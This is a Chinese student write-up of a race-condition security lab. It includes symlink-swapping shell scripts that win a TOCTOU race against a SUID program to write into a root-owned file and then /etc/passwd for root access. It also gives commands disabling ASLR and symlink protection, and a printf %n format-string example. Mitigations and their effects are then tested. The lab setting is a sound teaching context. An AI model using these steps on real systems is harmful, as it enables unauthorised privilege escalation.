admin管理员组

文章数量:1599536

漏洞挖掘前言

题目

lab

Race_Condition

pre

1.查看这段代码的执行结果,解释%.20d和%hn的含义。

main()
{
 int num=0x41414141;

 printf("Before: num = %#x \n", num);
 printf("%.20d%hn\n", num, &num);
 printf("After: num = %#x \n", num);

}

2.解释linux用root执行下面这条命令
sysctl -w kernel.randomize_va_space=0

的含义和用途。

3.描述fprintf、printf、sprintf、snprintf、vprintf这几个函数的功能和差异。

 

解答

Lab

Race Condition Vulnerability Lab

1.Task 1: Exploit the Race Condition Vulnerabilities

<1>.重写拥有者为root的任意文件

(1)首先禁用保护机制

由于实验环境开启了针对竞态条件攻击的保护,所以需要先关掉保护。

 

(2)切换为root用户,执行以下操作

保存、编译 vulp.c 文件,并赋予SUID权限:

新建root_file文件,这个文件只允许root用户才可以修改,我们的目的就是使用seed用户在其中写入数据。

 

(3)切换为seed用户,执行以下操作。

新建input文件,里面存放的是我们希望写入到root_file文件中的语句。例如在里面放入“Hello,LXJ”。

新建temp文件,作为我们的辅助目标文件。因为我们希望利用我们自己创建的temp文件作为假的目标文件,从而骗过权限检查,在打开文件时再将文件偷偷换掉。

新建脚本文件begin.sh。这个文件的目的是不断将/tmp/XYZ文件交替连接到我们自己建立的辅助目标文件temp和真实需要修改的目标文件root_file。以此希望能够碰到权限检查是XYZ指向temp文件,文件打开时打开的是root_file文件。begin.sh脚本文件内容如下。并且赋予自己执行权限。

while true

do

    ln -sf /home/seed/Desktop/task1/temp /tmp/XYZ

    ln -sf /home/seed/Desktop/task1/root_file /tmp/XYZ

done

echo "STOP... The file has been changed"

新建脚本文件try.sh。这个文件的目的不断地将input文件的内容作为输入,调用vulp程序,进行权限判断和目标文件的打开、写入。当我们成功将root_file文件写入信息时,此程序终止。try.sh脚本文件内容如下。同样也赋予自己执行权限。

old=`ls -l /home/seed/Desktop/task1/root_file`

new=`ls -l /home/seed/Desktop/task1/root_file`

while [ "$old" = "$new" ]

do

    ./vulp < input

    new=`ls -l /home/seed/Desktop/task1/root_file`

done

echo "STOP... The file has been changed"

 

(4)执行攻击操作

首先运行begin.sh文件

接着运行try.sh文件

此时我们再查看root_file文件,发现我们已经使用seed用户权限在root_file文件中写入了“Hello,LXJ”。

 

<2>.获取root权限

我将上述的root_file文件换为etc目录下passwd文件。先使用openssl生成加密的密码,得到对应的应放于input中的输入

再按一中步骤将用户名:LXJ,密码:123456放入passwd中。

切换到用户LXJ,输入密码,发现可以获得root权限。

 

2. Task 2: Protection Mechanism A: Repeating

增加更多的竞态条件,减小攻击者攻击成功的概率。即重复access和fopen函数的次数,增加嵌套。

将原代码增加一层嵌套判断如下:

/* vulp.c */

#include <stdio.h>

#include <string.h>

#include <unistd.h>

int main()

{

char * fn = "/tmp/XYZ";

char buffer[100];

FILE *fp;

/* get user input */

scanf("%50s", buffer );

if(!access(fn, W_OK)){

if(!access(fn, W_OK)){

fp = fopen(fn, "a+");

fwrite("\n", sizeof(char), 1, fp);

fwrite(buffer, sizeof(char), strlen(buffer), fp);

fclose(fp);

}

else printf("No permission \n");

}

else printf("No permission \n");

}

重新将其编译:

按题一中方法执行,得到如下结果:

可以明显感觉到,try.sh脚本文件的执行时间加长。分析其原因,当我们增加了一层权限判断后,相当于在整个权限检查和文件打开的时间中,权限判断的时间比重增加,使得遇到文件刚好被偷换的概率减少。

 

3.Task 3: Protection Mechanism B: Principle of Least Privilege

为了解决竞态条件的隐患,使用setuid系统调用暂时禁止root权限,当需要时再恢复。将原代码修改如下:

/* vulp.c */

#include <stdio.h>

#include <string.h>

#include <unistd.h>



int main()

{

char * fn = "/tmp/XYZ";

char buffer[60];

FILE *fp;

/* get user input */

scanf("%50s", buffer );

uid_t euid = geteuid();

seteuid(getuid());

if(!access(fn, W_OK)){

fp = fopen(fn, "a+");

fwrite("\n", sizeof(char), 1, fp);

fwrite(buffer, sizeof(char), strlen(buffer), fp);

fclose(fp);

}

else printf("No permission \n");

seteuid(euid);

}

重新将其编译:

按题一中方法执行,得到如下结果:

发现一直无法运行出结果,即使用setuid系统调用暂时禁止root权限后,无法再成功攻击。

 

4Task 4: Protection Mechanism C: Ubuntu’s Built-in Scheme

重新开启保护机制,重新执行task1的代码,发现攻击结果如下:

该机制应该是当检测到权限所有者和链接指向文件不匹配时,中止链接。是一个较为优秀的保护机制。

 

 

Pre

1.查看这段代码的执行结果,解释%.20d和%hn的含义。

main()
{
int num=0x41414141;
printf("Before: num = %#x \n", num);
printf("%.20d%hn\n", num, &num);
printf("After: num = %#x \n", num);
}

%.mn格式中m表示输出宽度,n表示精度控制,d表示以十进制形式输出带符号整数。所以%20d表示输出精度为20的整形量。
%hn中,h表示按短整型量输出,%n 表示将已输出的字符个数放入到变元指向的变量中。在printf()调用返回后,这个变量将包含一个遇到%n是字符输出的数目。


2.解释linux用root执行下面这条命令sysctl -w kernel.randomize_va_space=0的含义和用途。

这条命令的作用是关闭系统的地址空间随机化这一功能。Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。


3.描述fprintf、printf、sprintf、snprintf、vprintf这几个函数的功能和差异。

int printf(const char *format, ...);
printf()函数是格式化输出函数, 一般用于向标准输出设备按规定格式输出信息。格式输出,它是c语言中产生格式化输出的函数(在 stdio.h 中定义)。用于向终端(显示器、控制台等)输出字符。格式控制由要输出的文字和数据格式说明组成。要输出的文字除了可以使用字母、数字、空格和一些数字符号以外,还可以使用一些转义字符表示特殊的含义。
其中式样化字符串包括两部分内容: 一部分是正常字符, 这些字符将按原样输出;另一部分是式样化规定字符, 以"%"开端, 后跟一个或几个规定字符, 用来确定输出内容式样。 参量表是需求输出的一系列参数, 其个数务必与式样化字符串所阐明的输出参数个数一样多, 各参数之间用","分开, 且顺序逐一对应, 不然将会出现意想不到的过失。
函数printf从右到左压栈,然后将先读取放到栈底,最后读取的放在栈顶,处理时候是从栈顶开始的,所以我们看见的结果是,从右边开始处理的。

int fprintf(FILE *stream, const char *format, ...);
fprintf传送格式化输出到一个文件中。根据指定的format(格式)发送信息(参数)到由stream(流)指定的文件,fprintf只能和printf一样工作。若成功则返回值是输出的字符数,发生错误时返回一个负值。第一个参数是文件指针stream,后面的参数就是printf中的参数,其功能就是把这些输出送到文件指针指定的文件中,如果想要像printf一样将输出送到标准输出,只需要将文件指针FILE指定为stdout即可。

int sprintf(char *str, const char *format, ...);
Return: 存在数组的字符数量 if OK, 负数 if encoding error
sprintf,字符串格式化命令,主要功能是把格式化的数据写入某个字符串中。第一个参数str是char型指针,指向将要写入的字符串的缓冲区。后面第二个参数是格式化字符串。sprintf 是个变参函数。使用sprintf 对于写入buffer的字符数是没有限制的,这就存在了buffer溢出的可能性。

int snprintf(char *str, size_t size, const char *format, ...);
//Return: 存在数组的字符数量 if 缓冲区足够大, 负数 if encoding error
snprintf函数与sprintf函数类似。它也是将可变个参数按照format格式化成字符串,然后将其复制到str中。
(1) 如果格式化后的字符串长度 < size,则将此字符串全部复制到str中,并给其后添加一个字符串结束符(‘\0’);
(2) 如果格式化后的字符串长度 >= size,则只将其中的(size-1)个字符复制到str中,并给其后添加一个字符串结束符(‘\0’),返回值为格式化后的字符串的长度。

int vprintf(const char *format, va_list ap);
vprintf是一种函数,功能是送格式化输出到stdout中。printf的功能就是用它来实现的,所不同的是,它用一个参数取代了变长参数表,且此参数是通
过调用
va_start宏进行初始化。同样,vfprintf和vsprintf函数分别与fprintf和sprintf函数类似。

 

 

 

本文标签: 漏洞RaceCondition